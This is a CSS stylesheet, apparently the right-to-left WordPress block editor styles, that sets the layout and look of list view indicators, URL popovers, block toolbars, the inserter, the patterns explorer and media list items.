.block-editor-list-view-drop-indicator{
  pointer-events:none;
}
.block-editor-list-view-drop-indicator .block-editor-list-view-drop-indicator__line{
  background:var(--wp-admin-theme-color);
  border-radius:4px;
  height:4px;
}

.block-editor-list-view-drop-indicator--preview{
  pointer-events:none;
}
.block-editor-list-view-drop-indicator--preview .components-popover__content{
  overflow:hidden !important;
}
.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:4px;
  height:32px;
  overflow:hidden;
}
.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line--darker{
  background:rgba(var(--wp-admin-theme-color--rgb), .09);
}

.block-editor-list-view-placeholder{
  height:32px;
  margin:0;
  padding:0;
}

.list-view-appender .block-editor-inserter__toggle{
  background-color:#1e1e1e;
  color:#fff;
  height:24px;
  margin:8px 24px 0 0;
  padding:0;
}
.list-view-appender .block-editor-inserter__toggle.has-icon.is-next-40px-default-size{
  min-width:24px;
}
.list-view-appender .block-editor-inserter__toggle:focus,.list-view-appender .block-editor-inserter__toggle:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.list-view-appender__description{
  display:none;
}

.block-editor-media-placeholder__url-input-form{
  min-width:260px;
}
@media (min-width:600px){
  .block-editor-media-placeholder__url-input-form{
    width:300px;
  }
}
.block-editor-media-placeholder__url-input-form input{
  direction:ltr;
}

.modal-open .block-editor-media-replace-flow__options{
  display:none;
}

.block-editor-media-replace-flow__indicator{
  margin-right:4px;
}

.block-editor-media-replace-flow__media-upload-menu:not(:empty)+.block-editor-media-flow__url-input{
  border-top:1px solid #1e1e1e;
  margin-top:8px;
  padding-bottom:8px;
}

.block-editor-media-flow__url-input{
  margin-left:-8px;
  margin-right:-8px;
  padding:16px;
}
.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{
  display:block;
  margin-bottom:8px;
  top:16px;
}
.block-editor-media-flow__url-input .block-editor-link-control{
  width:300px;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-url-input{
  margin:0;
  padding:0;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-info,.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{
  max-width:200px;
  white-space:nowrap;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__tools{
  justify-content:flex-end;
  padding:16px var(--wp-admin-border-width-focus) var(--wp-admin-border-width-focus);
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{
  padding:0;
  width:auto;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{
  margin:0;
  width:100%;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{
  padding:8px 0 0;
}

.block-editor-media-flow__error{
  max-width:255px;
  padding:0 20px 20px;
}
.block-editor-media-flow__error .components-with-notices-ui{
  max-width:255px;
}
.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{
  overflow:hidden;
  word-wrap:break-word;
}
.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{
  left:10px;
  position:absolute;
}

.block-editor-multi-selection-inspector__card{
  padding:16px;
}

.block-editor-multi-selection-inspector__card-title{
  font-weight:500;
}

.block-editor-multi-selection-inspector__card .block-editor-block-icon{
  height:24px;
  margin-right:-2px;
  padding:0 3px;
  width:36px;
}

.block-editor-responsive-block-control{
  border-bottom:1px solid #ccc;
  margin-bottom:28px;
  padding-bottom:14px;
}
.block-editor-responsive-block-control:last-child{
  border-bottom:0;
  padding-bottom:0;
}

.block-editor-responsive-block-control__title{
  margin:0 -3px .6em 0;
}

.block-editor-responsive-block-control__label{
  font-weight:600;
  margin-bottom:.6em;
  margin-right:-3px;
}

.block-editor-responsive-block-control__inner{
  margin-right:-1px;
}

.block-editor-responsive-block-control__toggle{
  margin-right:1px;
}

.block-editor-responsive-block-control .components-base-control__help{
  border:0;
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.components-popover.block-editor-rich-text__inline-format-toolbar{
  z-index:99998;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{
  border-radius:2px;
  box-shadow:none;
  margin-bottom:8px;
  min-width:auto;
  outline:none;
  width:auto;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar{
  border-radius:2px;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar-group{
  background:none;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{
  min-height:48px;
  min-width:48px;
  padding-left:12px;
  padding-right:12px;
}

.block-editor-rich-text__inline-format-toolbar-group .components-dropdown-menu__toggle{
  justify-content:center;
}

.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon{
  width:auto;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon:after{
  content:attr(aria-label);
}

.block-editor-skip-to-selected-block{
  position:absolute;
  top:-9999em;
}
.block-editor-skip-to-selected-block:focus{
  background:#f1f1f1;
  font-size:14px;
  font-weight:600;
  z-index:100000;
}

.block-editor-tabbed-sidebar{
  background-color:#fff;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  height:100%;
  overflow:hidden;
}

.block-editor-tabbed-sidebar__tablist-and-close-button{
  border-bottom:1px solid #ddd;
  display:flex;
  justify-content:space-between;
  padding-left:8px;
}

.block-editor-tabbed-sidebar__close-button{
  align-self:center;
  background:#fff;
  order:1;
}

.block-editor-tabbed-sidebar__tablist{
  margin-bottom:-1px;
}

.block-editor-tabbed-sidebar__tabpanel{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow-y:auto;
  scrollbar-gutter:auto;
}

.block-editor-tool-selector__help{
  border-top:1px solid #ddd;
  color:#757575;
  margin:8px -8px -8px;
  min-width:280px;
  padding:16px;
}

.block-editor-tool-selector__menu .components-menu-item__info{
  margin-right:36px;
  text-align:right;
}

.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{
  flex-grow:1;
  padding:1px;
  position:relative;
}
@media (min-width:600px){
  .block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{
    min-width:300px;
    width:auto;
  }
}
.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width__suggestions{
  width:100%;
}
.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{
  left:8px;
  margin:0;
  position:absolute;
  top:calc(50% - 8px);
}

.block-editor-url-input__suggestions{
  max-height:200px;
  overflow-y:auto;
  padding:4px 0;
  width:302px;
}
@media not (prefers-reduced-motion){
  .block-editor-url-input__suggestions{
    transition:all .15s ease-in-out;
  }
}

.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{
  display:none;
}
@media (min-width:600px){
  .block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{
    display:grid;
  }
}

.block-editor-url-input__suggestion{
  background:#fff;
  border:none;
  box-shadow:none;
  color:#757575;
  cursor:pointer;
  display:block;
  font-size:13px;
  height:auto;
  min-height:36px;
  text-align:right;
  width:100%;
}
.block-editor-url-input__suggestion:hover{
  background:#ddd;
}
.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{
  background:var(--wp-admin-theme-color-darker-20);
  color:#fff;
  outline:none;
}

.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{
  position:inherit;
}

.block-editor-url-input__button .block-editor-url-input__back{
  margin-left:4px;
  overflow:visible;
}
.block-editor-url-input__button .block-editor-url-input__back:after{
  background:#ddd;
  content:"";
  display:block;
  height:24px;
  left:-1px;
  position:absolute;
  width:1px;
}

.block-editor-url-input__button-modal{
  background:#fff;
  border:1px solid #ddd;
  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
}

.block-editor-url-input__button-modal-line{
  align-items:flex-start;
  display:flex;
  flex-direction:row;
  flex-grow:1;
  flex-shrink:1;
  min-width:0;
}

.block-editor-url-popover__additional-controls{
  border-top:1px solid #1e1e1e;
  padding:8px;
}

.block-editor-url-popover__input-container{
  padding:8px;
}

.block-editor-url-popover__row{
  align-items:center;
  display:flex;
  gap:4px;
}

.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){
  flex-grow:1;
  gap:8px;
}

.block-editor-url-popover__additional-controls .components-button.has-icon{
  height:auto;
  padding-left:8px;
  padding-right:8px;
  text-align:right;
}
.block-editor-url-popover__additional-controls .components-button.has-icon>svg{
  margin-left:8px;
}

.block-editor-url-popover__settings-toggle{
  flex-shrink:0;
}
.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{
  transform:rotate(-180deg);
}

.block-editor-url-popover__settings{
  border-top:1px solid #1e1e1e;
  display:block;
  padding:16px;
}

.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{
  display:flex;
}

.block-editor-url-popover__link-viewer-url{
  align-items:center;
  display:flex;
  flex-grow:1;
  flex-shrink:1;
  margin-left:8px;
  max-width:350px;
  min-width:150px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.block-editor-url-popover__link-viewer-url.has-invalid-link{
  color:#cc1818;
}

.block-editor-url-popover__expand-on-click{
  align-items:center;
  display:flex;
  min-width:350px;
  white-space:nowrap;
}
.block-editor-url-popover__expand-on-click .text{
  flex-grow:1;
}
.block-editor-url-popover__expand-on-click .text p{
  line-height:16px;
  margin:0;
}
.block-editor-url-popover__expand-on-click .text p.description{
  color:#757575;
  font-size:12px;
}
.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack .components-h-stack{
  flex-direction:row;
}
.block-editor-hooks__block-hooks .block-editor-hooks__block-hooks-helptext{
  color:#757575;
  font-size:12px;
  margin-bottom:16px;
}

div.block-editor-bindings__panel{
  grid-template-columns:repeat(auto-fit, minmax(100%, 1fr));
}
div.block-editor-bindings__panel button:hover .block-editor-bindings__item span{
  color:inherit;
}

.border-block-support-panel .single-column{
  grid-column:span 1;
}
.color-block-support-panel .block-editor-contrast-checker{
  grid-column:span 2;
  margin-top:16px;
}
.color-block-support-panel .block-editor-contrast-checker .components-notice__content{
  margin-left:0;
}
.color-block-support-panel.color-block-support-panel .color-block-support-panel__inner-wrapper{
  row-gap:0;
}
.color-block-support-panel .block-editor-tools-panel-color-gradient-settings__item.first{
  margin-top:0;
}

.dimensions-block-support-panel .single-column{
  grid-column:span 1;
}

.block-editor-hooks__layout-constrained .components-base-control{
  margin-bottom:0;
}

.block-editor-hooks__layout-constrained-helptext{
  color:#757575;
  font-size:12px;
  margin-bottom:0;
}

.block-editor-hooks__flex-layout-justification-controls,.block-editor-hooks__flex-layout-orientation-controls{
  margin-bottom:12px;
}
.block-editor-hooks__flex-layout-justification-controls legend,.block-editor-hooks__flex-layout-orientation-controls legend{
  margin-bottom:8px;
}

.block-editor__spacing-visualizer{
  border-color:var(--wp-admin-theme-color);
  border-style:solid;
  bottom:0;
  box-sizing:border-box;
  left:0;
  opacity:.5;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.typography-block-support-panel .single-column{
  grid-column:span 1;
}
.block-editor-block-toolbar{
  display:flex;
  flex-grow:1;
  overflow-x:auto;
  overflow-y:hidden;
  position:relative;
  width:100%;
}
@media not (prefers-reduced-motion){
  .block-editor-block-toolbar{
    transition:border-color .1s linear,box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .block-editor-block-toolbar{
    overflow:inherit;
  }
}
.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{
  background:none;
  border:0;
  border-left:1px solid #ddd;
  margin-bottom:-1px;
  margin-top:-1px;
}
.block-editor-block-toolbar.is-connected .block-editor-block-switcher .components-button:before{
  background:color-mix(in srgb, var(--wp-block-synced-color) 10%, #0000);
  border-radius:2px;
}
.block-editor-block-toolbar.is-connected .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-connected .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors,.block-editor-block-toolbar.is-synced .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-synced .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{
  color:var(--wp-block-synced-color);
}
.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2),.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2) .components-toolbar,.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2) .components-toolbar-group,.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{
  border-left:none;
}
.block-editor-block-toolbar .components-toolbar-group:empty{
  display:none;
}

.block-editor-block-contextual-toolbar{
  background-color:#fff;
  display:block;
  flex-shrink:3;
  position:sticky;
  top:0;
  width:100%;
  z-index:31;
}
.block-editor-block-contextual-toolbar.components-accessible-toolbar{
  border:none;
  border-radius:0;
}
.block-editor-block-contextual-toolbar.is-unstyled{
  box-shadow:0 1px 0 0 rgba(0,0,0,.133);
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar{
  overflow:auto;
  overflow-y:hidden;
  scrollbar-color:#e0e0e0 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:auto;
  scrollbar-width:thin;
  will-change:transform;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-track{
  background-color:initial;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:#e0e0e0;
  border:3px solid #0000;
  border-radius:8px;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .block-editor-block-contextual-toolbar .block-editor-block-toolbar{
    scrollbar-color:#949494 #0000;
  }
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar-group:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child:after{
  display:none;
}
.block-editor-block-contextual-toolbar>.block-editor-block-toolbar{
  flex-grow:0;
  width:auto;
}
.block-editor-block-contextual-toolbar .block-editor-block-parent-selector{
  margin-bottom:-1px;
  margin-top:-1px;
  position:relative;
}
.block-editor-block-contextual-toolbar .block-editor-block-parent-selector:after{
  align-items:center;
  background-color:#1e1e1e;
  border-radius:100%;
  content:"";
  display:inline-flex;
  height:2px;
  left:0;
  position:absolute;
  top:15px;
  width:2px;
}

.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  margin:0 !important;
  width:24px !important;
}
.block-editor-block-toolbar__block-controls .components-toolbar-group{
  padding:0;
}

.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar-group{
  display:flex;
  flex-wrap:nowrap;
}

.block-editor-block-toolbar__slot{
  display:inline-flex;
}

.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{
  width:auto;
}
.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}
.show-icon-labels .components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon{
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  height:0 !important;
  min-width:0 !important;
  width:0 !important;
}
.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  border-bottom-left-radius:0;
  border-top-left-radius:0;
  padding-left:12px;
  padding-right:12px;
  text-wrap:nowrap;
}
.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button .block-editor-block-icon{
  width:0;
}
.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container{
  position:relative;
  width:auto;
}
@media (min-width:600px){
  .show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{
    background:#e0e0e0;
    content:"";
    height:1px;
    margin-top:-.5px;
    position:absolute;
    right:50%;
    top:50%;
    transform:translate(50%);
    width:100%;
  }
}
@media (min-width:782px){
  .show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{
    background:#1e1e1e;
  }
}
.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover-button,.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button{
  padding-left:8px;
  padding-right:8px;
}
.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{
  border-right:1px solid #ddd;
  margin-left:-6px;
  margin-right:6px;
  white-space:nowrap;
}
.show-icon-labels .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon{
  padding-left:12px;
  padding-right:12px;
}
.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{
  width:auto;
}
.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{
  flex-shrink:1;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button+.components-button{
  margin-right:6px;
}

.block-editor-block-toolbar-change-design-content-wrapper{
  padding:12px;
  width:320px;
}
.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr;
  grid-gap:12px;
}
.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{
  min-height:100px;
}

.block-editor-inserter{
  background:none;
  border:none;
  display:inline-block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:0;
  padding:0;
}
@media (min-width:782px){
  .block-editor-inserter{
    position:relative;
  }
}

.block-editor-inserter__main-area{
  gap:16px;
  height:100%;
  position:relative;
}
.block-editor-inserter__main-area.show-as-tabs{
  gap:0;
}
@media (min-width:782px){
  .block-editor-inserter__main-area .block-editor-tabbed-sidebar{
    width:350px;
  }
}

.block-editor-inserter__popover.is-quick .components-popover__content{
  border:none;
  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
  outline:none;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{
  border-left:1px solid #ccc;
  border-right:1px solid #ccc;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{
  border-radius:4px 4px 0 0;
  border-top:1px solid #ccc;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{
  border-bottom:1px solid #ccc;
  border-radius:0 0 4px 4px;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{
  border:1px solid #1e1e1e;
}

.block-editor-inserter__popover .block-editor-inserter__menu{
  margin:-12px;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tablist{
  top:60px;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{
  height:auto;
  overflow:visible;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{
  display:none;
}

.block-editor-inserter__toggle.components-button{
  align-items:center;
  border:none;
  cursor:pointer;
  display:inline-flex;
  outline:none;
  padding:0;
}
@media not (prefers-reduced-motion){
  .block-editor-inserter__toggle.components-button{
    transition:color .2s ease;
  }
}

.block-editor-inserter__menu{
  height:100%;
  overflow:visible;
  position:relative;
}
@media (min-width:782px){
  .block-editor-inserter__menu.show-panel{
    width:630px;
  }
}

.block-editor-inserter__inline-elements{
  margin-top:-1px;
}

.block-editor-inserter__menu.is-bottom:after{
  border-bottom-color:#fff;
}

.components-popover.block-editor-inserter__popover{
  z-index:99999;
}

.block-editor-inserter__search{
  padding:16px 16px 0;
}

.block-editor-inserter__no-tab-container{
  flex-grow:1;
  overflow-y:auto;
  position:relative;
}

.block-editor-inserter__panel-header{
  align-items:center;
  display:inline-flex;
  padding:16px 16px 0;
  position:relative;
}

.block-editor-inserter__panel-content{
  padding:16px;
}

.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin:0 0 0 12px;
  text-transform:uppercase;
}

.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{
  height:36px;
  line-height:36px;
}

.block-editor-inserter__panel-dropdown select{
  border:none;
}

.block-editor-inserter__reusable-blocks-panel{
  position:relative;
  text-align:left;
}

.block-editor-inserter__no-results,.block-editor-inserter__patterns-loading{
  padding:32px;
  text-align:center;
}

.block-editor-inserter__child-blocks{
  padding:0 16px;
}

.block-editor-inserter__parent-block-header{
  align-items:center;
  display:flex;
}
.block-editor-inserter__parent-block-header h2{
  font-size:13px;
}
.block-editor-inserter__parent-block-header .block-editor-block-icon{
  margin-left:8px;
}

.block-editor-inserter__preview-container__popover{
  top:16px !important;
}

.block-editor-inserter__preview-container{
  display:none;
  max-height:calc(100% - 32px);
  overflow-y:hidden;
  padding:16px;
  width:280px;
}
@media (min-width:782px){
  .block-editor-inserter__preview-container{
    display:block;
  }
}
.block-editor-inserter__preview-container .block-editor-inserter__media-list__list-item{
  height:100%;
}
.block-editor-inserter__preview-container .block-editor-block-card{
  padding-bottom:4px;
  padding-left:0;
  padding-right:0;
}

.block-editor-inserter__insertable-blocks-at-selection{
  border-bottom:1px solid #e0e0e0;
}

.block-editor-inserter__block-patterns-tabs-container,.block-editor-inserter__media-tabs-container{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:space-between;
  padding:16px;
}

.block-editor-inserter__category-tablist{
  margin-bottom:8px;
}

.block-editor-inserter__category-panel{
  display:flex;
  flex-direction:column;
  outline:1px solid #0000;
  padding:0 16px;
}
@media (min-width:782px){
  .block-editor-inserter__category-panel{
    background:#f0f0f0;
    border-right:1px solid #e0e0e0;
    border-top:1px solid #e0e0e0;
    height:calc(100% + 1px);
    padding:0;
    position:absolute;
    right:350px;
    top:-1px;
    width:280px;
  }
  .block-editor-inserter__category-panel .block-editor-block-patterns-list,.block-editor-inserter__category-panel .block-editor-inserter__media-list{
    padding:0 24px 16px;
  }
}

.block-editor-inserter__patterns-category-panel-header{
  padding:8px 0;
}
@media (min-width:782px){
  .block-editor-inserter__patterns-category-panel-header{
    padding:8px 24px;
  }
}

.block-editor-inserter__patterns-category-no-results{
  margin-top:24px;
}

.block-editor-inserter__patterns-filter-help{
  border-top:1px solid #ddd;
  color:#757575;
  min-width:280px;
  padding:16px;
}

.block-editor-block-patterns-list,.block-editor-inserter__media-list{
  flex-grow:1;
  height:100%;
  overflow-y:auto;
}

.block-editor-inserter__preview-content{
  align-items:center;
  background:#f0f0f0;
  display:grid;
  flex-grow:1;
}

.block-editor-inserter__preview-content-missing{
  align-items:center;
  background:#f0f0f0;
  border-radius:2px;
  color:#757575;
  display:flex;
  flex:1;
  justify-content:center;
  min-height:144px;
}

.block-editor-inserter__tips{
  border-top:1px solid #ddd;
  flex-shrink:0;
  padding:16px;
  position:relative;
}

.block-editor-inserter__quick-inserter{
  max-width:100%;
  width:100%;
}
@media (min-width:782px){
  .block-editor-inserter__quick-inserter{
    width:350px;
  }
}

.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{
  float:right;
  height:0;
  padding:0;
}

.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{
  padding:16px;
}

.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr;
  grid-gap:8px;
}
.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{
  min-height:100px;
}

.block-editor-inserter__quick-inserter-separator{
  border-top:1px solid #ddd;
}

.block-editor-inserter__popover.is-quick>.components-popover__content{
  padding:0;
}

.block-editor-inserter__quick-inserter-expand.components-button{
  background:#1e1e1e;
  border-radius:0;
  color:#fff;
  display:block;
  width:100%;
}
.block-editor-inserter__quick-inserter-expand.components-button:hover{
  color:#fff;
}
.block-editor-inserter__quick-inserter-expand.components-button:active{
  color:#ccc;
}
.block-editor-inserter__quick-inserter-expand.components-button.components-button:focus:not(:disabled){
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  box-shadow:none;
}

.block-editor-block-patterns-explorer__sidebar{
  bottom:0;
  overflow-x:visible;
  overflow-y:scroll;
  padding:24px 32px 32px;
  position:absolute;
  right:0;
  top:72px;
  width:280px;
}
.block-editor-block-patterns-explorer__sidebar__categories-list__item{
  display:block;
  height:48px;
  text-align:right;
  width:100%;
}
.block-editor-block-patterns-explorer__search{
  margin-bottom:32px;
}
.block-editor-block-patterns-explorer__search-results-count{
  padding-bottom:32px;
}
.block-editor-block-patterns-explorer__list{
  margin-right:280px;
  padding:24px 0 32px;
}
.block-editor-block-patterns-explorer__list .block-editor-patterns__sync-status-filter .components-input-control__container{
  width:380px;
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list{
  display:grid;
  grid-gap:32px;
  grid-template-columns:repeat(1, 1fr);
  margin-bottom:16px;
}
@media (min-width:1080px){
  .block-editor-block-patterns-explorer .block-editor-block-patterns-list{
    grid-template-columns:repeat(2, 1fr);
  }
}
@media (min-width:1440px){
  .block-editor-block-patterns-explorer .block-editor-block-patterns-list{
    grid-template-columns:repeat(3, 1fr);
  }
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  min-height:240px;
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{
  height:inherit;
  max-height:800px;
  min-height:100px;
}

.components-heading.block-editor-inserter__patterns-category-panel-title{
  font-weight:500;
}

.block-editor-inserter__media-library-button.components-button,.block-editor-inserter__patterns-explore-button.components-button{
  justify-content:center;
  margin-top:16px;
  padding:16px;
  width:100%;
}

.block-editor-inserter__media-panel{
  display:flex;
  flex-direction:column;
  min-height:100%;
  padding:0 16px;
}
@media (min-width:782px){
  .block-editor-inserter__media-panel{
    padding:0;
  }
}
.block-editor-inserter__media-panel .block-editor-inserter__media-panel-spinner{
  align-items:center;
  display:flex;
  flex:1;
  height:100%;
  justify-content:center;
}
.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search{
  margin-bottom:24px;
}
@media (min-width:782px){
  .block-editor-inserter__media-panel .block-editor-inserter__media-panel-search{
    margin-bottom:0;
    padding:16px 24px;
  }
  .block-editor-inserter__media-panel .block-editor-inserter__media-panel-search:not(:focus-within){
    --wp-components-color-background:#fff;
  }
}

.block-editor-inserter__media-list__list-item{
  cursor:pointer;
  margin-bottom:24px;
  position:relative;
}
.block-editor-inserter__media-list__list-item.is-placeholder{
  min-height:100px;
}
.block-editor-inserter__media-list__list-item[draggable=true] .block-editor-inserter__media-list__list-item{
  cursor:grab;
}
.block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview>*{
  outline-color:#0000004d;
}
.block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview-options>button{
  display:block;
}
.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options{
  left:8px;
  position:absolute;
  top:8px;
}
.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button{
  background:#fff;
  display:none;
}
.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button.is-opened,.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:focus{
  display:block;
}
